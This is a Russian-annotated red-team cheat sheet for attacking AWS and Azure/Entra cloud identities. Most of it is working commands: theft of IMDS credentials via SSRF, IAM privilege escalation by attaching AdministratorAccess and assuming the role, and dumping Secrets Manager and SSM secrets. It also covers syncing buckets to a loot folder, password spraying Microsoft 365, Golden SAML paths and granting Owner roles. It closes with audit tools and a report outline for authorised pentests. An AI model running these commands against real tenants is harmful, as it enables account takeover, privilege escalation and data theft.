ATTACKING CLOUD & IDENTITY

# Универсальный поток (AWS и Azure/Entra симметричны по логике)
unauth    → публичные ресурсы (S3/Blob), enum tenant/account, user enum
creds     → утечки, password spray, token theft, device-code phishing
enum      → права текущей идентичности, карта ролей и ресурсов
privesc   → мисконфиг IAM/ролей → повышение прав (часто one-shot)
lateral   → assume-role / pivot между подписками / service principals
impact    → доступ к данным, секреты, персистентность, exfil

# Проверить бакет на анонимный доступ
aws s3 ls s3://bucket-name --no-sign-request
aws s3 cp s3://bucket-name/file - --no-sign-request

# Поиск публичных бакетов по имени организации
cloud_enum -k company            # multi-cloud: S3/Blob/GCP
# внешние индексы публичных бакетов: grayhatwarfare (через браузер)

# IMDSv1 (GET) -- через SSRF в приложении
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>

# IMDSv2 -- сначала токен (PUT), затем запрос с токеном
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 60")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
# полученные AccessKey/SecretKey/Token -> aws configure / профиль

aws configure --profile compromised          # завести профиль с кредами
aws sts get-caller-identity --profile compromised   # ARN/аккаунт текущей идентичности

# Свои политики (если есть права на чтение IAM)
aws iam list-attached-user-policies --user-name target-user --profile compromised
aws iam list-user-policies --user-name target-user --profile compromised

enumerate-iam --access-key AKIA... --secret-key ...

./cloudfox aws --profile compromised inventory       # инвентаризация по регионам/сервисам
./cloudfox aws --profile compromised all-checks      # все проверки (роли, секреты, эндпоинты)
# подсвечивает: где лежат секреты, какие роли можно assume, exposed-ресурсы

python3 pacu.py
Pacu> import_keys compromised                   # загрузить креды
Pacu> run iam__enum_permissions                  # права текущей идентичности
Pacu> run iam__enum_users_roles_policies_groups  # полная карта IAM
Pacu> run iam__privesc_scan                       # проверка 20+ путей эскалации
Pacu> whoami                                      # обновлённые права после эскалации

# 1) прицепить админ-политику к подконтрольной роли
aws iam attach-role-policy --role-name SupportRole \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --profile compromised

# 2) принять роль -> получить временные admin-креды
aws sts assume-role --role-arn arn:aws:iam::ACCT:role/SupportRole \
  --role-session-name privesc --profile compromised
# 3) сконфигурировать новый профиль из выданных Credentials

# Secrets Manager и SSM Parameter Store -- частые хранилища кред
aws secretsmanager list-secrets --profile p
aws secretsmanager get-secret-value --secret-id name --profile p
aws ssm get-parameters-by-path --path / --with-decryption --profile p

# S3 -- листинг и выгрузка
aws s3 ls --profile p
aws s3 sync s3://bucket ./loot --profile p

# Снапшоты EBS/RDS -- часто содержат данные, иногда публичны
aws ec2 describe-snapshots --owner-ids ACCT --profile p

# Существование/детали tenant (публичный эндпоинт)
# https://login.microsoftonline.com/getuserrealm.srf?login=user@target.com&xml=1

# Перечисление валидных пользователей
o365enum.py -u users.txt                  # по ответам auth-эндпоинта
python3 o365creeper.py -f emails.txt      # проверка существования адресов

# Проверить, где НЕ включён MFA (по аккаунтам)
MFASweep -u user@target.com -p 'pass'  # какие сервисы доступны без MFA

roadrecon auth -u user@target.com -p 'pass'   # получить токен
roadrecon gather                                # выкачать объекты директории
roadrecon gui                                   # локальный веб-анализ собранного

azurehound -u user@target.com -p 'pass' list --tenant <tenant-id> -o output.json
# импорт output.json в BloodHound CE -> Azure attack paths
# ищем: пути к Global Admin, владельцев app/SP, роли с эскалацией

Import-Module .\MicroBurst.psm1
Invoke-EnumerateAzureBlobs -Base company     # поиск Storage-блобов по имени
# ScoutSuite для конфиг-обзора (раздел 10): scout azure --cli

# Спрей одним паролем по списку (с учётом lockout / Smart Lockout)
MSOLSpray --userlist users.txt --password 'Spring2026!'

# Комбайн: enum + spray + exfil по M365 (Teams/OneDrive/Outlook)
TeamFiltration --enum --spray --users users.txt --password 'Spring2026!'

Import-Module .\PowerZure.ps1
Get-AzureTarget                       # на что у текущей идентичности есть права
# добавление client secret владельцем приложения (пример логики)
# az ad app credential reset --id <appId>  -> аутентификация как SP

# роли и назначения через нативный Az CLI
az role assignment list --assignee <objectId> --all
az role assignment create --assignee <objectId> --role Owner --scope /subscriptions/<id>

# On-prem -> Cloud
DA on-prem  → дамп сервера Entra Connect → креды sync-аккаунта → доступ к Entra
ADFS       → token-signing key → Golden SAML → любой облачный пользователь
AZUREADSSOACC hash → Silver Ticket к Azure-ресурсам

# Cloud -> On-prem
Global Admin → Intune/management → исполнение на on-prem устройствах
Entra-роль с правами на гибридные объекты → влияние на on-prem

scout aws                                  # ScoutSuite по AWS (через настроенный профиль)
scout azure --cli                          # ScoutSuite по Azure
prowler aws                                # Prowler по AWS
prowler azure                              # Prowler по Azure

# Структура раздела облака в отчёте
1. Identity exposure   -- что доступно с текущей идентичности и почему
2. Privesc paths       -- конкретные пути (IAM-действия / роли) с PoC
3. Data access         -- к каким данным/секретам получен доступ
4. Blast radius        -- масштаб (подписка/аккаунт/tenant), бизнес-риск
5. Detection           -- что сработало/должно было (CloudTrail/Sign-in)
6. Remediation         -- least privilege, IMDSv2, CA-политики, мониторинг